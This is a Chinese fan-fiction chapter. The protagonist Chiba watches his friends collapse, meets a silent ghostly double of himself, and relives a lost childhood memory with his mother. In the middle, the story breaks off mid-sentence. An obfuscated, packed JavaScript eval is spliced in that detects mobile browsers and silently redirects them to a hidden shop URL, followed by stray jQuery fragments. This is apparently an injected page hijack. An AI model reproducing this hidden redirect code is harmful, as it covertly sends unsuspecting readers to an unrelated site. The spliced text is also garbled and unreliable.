影山你知道你在说一些崩人设的话吗?(叉掉)


    千叶再次无奈叹气,不打算跟仅限排球方面的脑力5计较。


    ……虽然事实就是如此,但被熟人的嘴巴说出来还是让他感觉到了很深很深的羞耻感。


    特别是在这种大家出奇一致地赞同了这个说法后,目光如炬,堪比火烤的视线聚焦在他身上,换个胆子小点的可能已经汗流浃背。


    但奇异的是,他感知到的是暖融融的关心,像是温暖的阳光照在身上,整个人都暖和起来。


    是的,不是什么猎奇,不是什么发现新大陆,也不是什么打开新世界的大门,这些他在现世的朋友,不管是新认识的还是已经很熟悉的,无一例外都是关心他的。


    “楸,最重要的是,面对它们你会受伤吗?”


    赤司用很轻的声音问道,那些杂乱无章的念头——关心、忧虑、疑惑兜兜转转都转变为显而易见的害怕。


    他们是国中生,就算平时再努力成长再努力变强,也抛不开年纪还小还是生长中的幼苗这一现实。


    问完的下一秒,赤司察觉到自己问了个傻问题。


    那些奇异的东西,他们刚刚不是已经见识过了吗?


    然而空气依旧保持着安静,安静到大家大脑转动沉思的声音都好像能被听见。没有人嘲笑他这一刹那的关心则乱,连同今天第一次见面的菊丸英二和大石秀一郎也皱眉思考着。


    “我……”


    这些是他的朋友,关心着他,害怕他受伤。他几分愣怔的眼神对上一双沉静如水的眼睛。


    隐藏在金丝眼镜后的丹凤眼凌厉无比,伴着他一向古井无波的眼神总给人一种锋利的感觉。


    会有人凭借第一印象认为他是个冷漠的人吗?无端生出些许思绪,千叶被自己的念头逗得笑了一下。


    而后那双锋利的眼睛也弯了弯,似乎柔和了片刻。


    这些连接了他和世界的丝线……


    他好像又找到了一些自己活下去的原因,千叶想着。


    “喂喂,千叶!怎么说一半又不说了?难道是不允许吗?”像只大猫的菊丸英二拍拍桌子,很自来熟地喊着他的名字。


    “当然不……”是。


    突然,“叮——”的一声从四面八方响起,像是玻璃碎掉,又像是铃铛被顽劣的孩子用力晃动,和他未说出口的话同时响起。


    那是什么声音?


    一瞬间的眩晕冲击了大脑,千叶意识到不对劲,晃了晃脑袋站起身,目光扫过周围。


    没有发现异常。


    这里不安全,几乎是下意识反应过来,要让大家离开。


    可他撑着晕乎乎的身躯回过身,眼前是瘫倒着的大家。


    “大家!!不行,头好晕……赤司!黄濑!手冢!”


    强烈的晕眩再次袭击了他,目之所及的地方皆是一片模糊重叠的景象,千叶撞倒面前的桌子,伸出手摸索过去。


    ——要带他们离开。


    ……保护……大家……


    朋友们就在眼前,不知生不知死,所有的一切都笼罩在窒息的寂静中。


    世界好安静。


    窗外原本喧闹的声音不知何时全部消失殆尽,千叶额角一抽一抽地痛着,他隐隐约约觉得不对。


    桌子……?桌子被推开了……


    为什么没有声音?


    疑惑不解很快迷失,千叶现在顾不得那么多了,拖动自己沉重的身体往赤司他们身边靠近。


    一堵透明玻璃墙挡住了他。


    ……什么?


    诧异之后,他抬起手敲了敲面前的障碍物,无力的拳头敲击在上面没有产生一丝痛意。


    感觉也消失了……


    一双轻飘飘的手臂环抱住了他的脖颈,冰冷得像是冰箱里囤积了八年的寒冰,冷到极致的寒气冒出,把他冻了一个哆嗦。


    不行,眼睛看不清,好晕。


    千叶无力地晃了晃,试图摆脱背后的东西。


    如果是幽灵的话……


    他苦中作乐地想着,幸好青峰他们已经晕过去了,不然肯定会被吓一跳的吧。


    手臂的主人飘到他前面。


    他看清了……是他?


    怎么又是他自己的脸?


    你们这些家伙没有自己的样子吗?


    被一而再再而三地复制粘贴外貌的感觉并不是很美妙,就算千叶现在晕乎乎的脑子不太清醒,被冒犯的感觉依旧烙印在心底。


    不爽。


    真的很不爽。


    冒牌货嘴巴张了又合上,没有一点声音传出来。


    更奇妙了,而且更不爽了。


    千叶没好气地伸手拍打了一下冒牌货的脸,让他有事直接说。


    冒牌货嘴巴又张了张,还是没有声音。


    “?”生活不易,表演哑剧?


    被拍了脸蛋没有让冒牌货生气,他眼睛瞪圆了些许,一种类似于欢喜的情绪从其中爆炸开来。


    啊。


    怎么感觉……


    千叶察觉自己原本因为无力已经掉下去的手被抓了起来,又贴回了刚刚拍打的地方。


    嗯,好奇怪。


    下一秒,手被小动物一样的方式蹭了蹭。


    一点仿佛夏季炎热时节里偶尔吹过的凉风,从相触的地方传到心脏,然后随着血液流遍全身,让僵硬的身子活络起来。


    头不晕了,眼不花了,那种浑身难受无力的感觉也在慢慢消退,前所未有的清醒感划开浑浑噩噩的大脑,一段模糊不清的记忆展现开来——


    “林稚霜!我们一起去玩嘛!”


    一个扎着羊角辫的小孩拉着他的手说道,软绵绵的声音黏黏糊糊,是那种向亲近的人撒娇的声音。


    千叶……不,他现在是林稚霜,坐在高高的凳子上晃了晃脚,同样含糊不清的绵软声音传出来:


    “娘亲说双双不可以出去玩了。”


    羊角辫不服气地嘟嘟脸颊,“林阿姨太过分了,怎么能限制你的自由,不行我要找她说清楚,上次明明就是那个陌生大叔的问题!”


    “阿敬,不可以说娘亲过分哦。”


    他倒是对自己不能出去不在乎,反过来制止了小孩的口不择言。


    “哦,那我们一起去找林阿姨说清楚,总不能因为那个奇怪大叔说了些奇怪的话你就再也出不了门吧!”


    “双双,阿敬,过来一下。”


    林稚霜看了看一下子噤声的阿敬,心中冒出一点小心思。


    ——阿敬明明天不怕地不怕,但面对赤安阿姨就会像小动物一样安静下来呢。


    他笑弯了眼睛,圆溜溜的杏眼很轻易就出卖了他。阿敬过来挠他腰,迫使他求饶,“我错了我错了,再也不笑你了。”


    气哼哼的阿敬非要自己过足了瘾才


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393674|194582||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    松开手,微微扬了扬下巴,说自己也不是不允许他笑。


    两个小家伙一路嬉笑打闹着跟在那位红色劲装女子身后,来到了一扇关着的朱红色大门前。


    “进去吧,等下出来有糖葫芦。”


    冷冰冰的赤安阿姨习惯用糖葫芦来哄两个小鬼,只是她不知道她买的糖葫芦都酸得出奇。


    林稚霜和阿敬两人对视一眼,为自己即将再一次被酸掉的牙齿默哀。


    朱红色的大门打开又关上,轻轻的咯吱声随着闭合的动作安静下来。


    阿敬抓着他的手,大步流星地往前走,一边走一边说他最近的活动。


    包括但不限于在学堂里画画被夫子当场逮到,罚他在门口站了半天;隔壁的小猫跟街道霸王猫打了三场架,现在不知道为什么两猫好得像是一窝出来的……


    “林阿姨!我们来了!”


    两人站定,林稚霜看着阿敬乖巧地朝坐在美人榻上读书的人问好,然后反应过来,那个人就是他的娘亲。


    “娘、娘亲。”


    不知道为什么,他有点想哭。


    好像隔了很久、很久才能喊出这一声。


    林缙云抬起头,孩子在委屈,她看着微微皱起一张脸的儿子,心里无奈地笑着。


    “过来吧。”


    林稚霜被轻轻推了过去,成功扑到了娘亲的怀里。


    那个怀抱非常温暖,像是冬天经过了外界的刺骨寒风回到家后钻进的暖和被子,厚重又使人安心。


    “今天怎么了?”


    林缙云察觉到怀里的小孩眷恋地蹭了蹭,心底被毛茸茸地扎了一下。


    为什么?


    为什么她觉得自己的孩子像是走了很远很远的路,那样委屈,那样迷茫……


    “娘亲,我想你了。”


    阿敬在旁边目瞪口呆。


    这也太黏糊了吧!


    一切仿佛是一场美好的梦境。


    他有些不愿醒来。


    这里有会抱抱他的娘亲,有笑咧咧陪他玩耍的好友,有经常被骗买酸冰糖葫芦的阿姨……


    这是他的家。


    “双双长大以后想做什么?”


    一个有着璀璨星星的夜晚,他的母亲轻轻摸着他的头问道。


    林稚霜踢了踢脚旁的裙边,不怎么高兴地瘪嘴,“想不穿裙子……双双是男孩子。”


    娘亲美丽的脸上浮现几分苦涩,可惜年幼的他看不清也看不懂。


    “嗯,双双长大了就可以不穿裙子了。”


    听了这话,他高兴起来,望着天上闪烁的星星,也学着它们眨眼睛,然后在心里许下一个让自己快点长大的愿望。


    ——我要长大!


    也可惜他没能长大。


    千叶秋浑身是汗地苏醒过来,过往的记忆如同走马观花一般在脑海中浮现出来。


    娘亲、星星、阿敬、糖葫芦……


    原来,他有名字,一个被祝福过的名字,他不是漂浮无根的断木,是一个被爱着的、幸福的孩子。


    双——双——


    那双冰冷的手轻轻伸过来,擦去他的眼泪,对着他做出嘴型。


    是在呼喊他的名字。


    “谢谢你,声。”


    他浅浅一笑,化作一个散发着微微凉意的小光球,漂浮在半空中晃悠两下,浅淡的光芒围绕着它。


    它才是真正的【声】。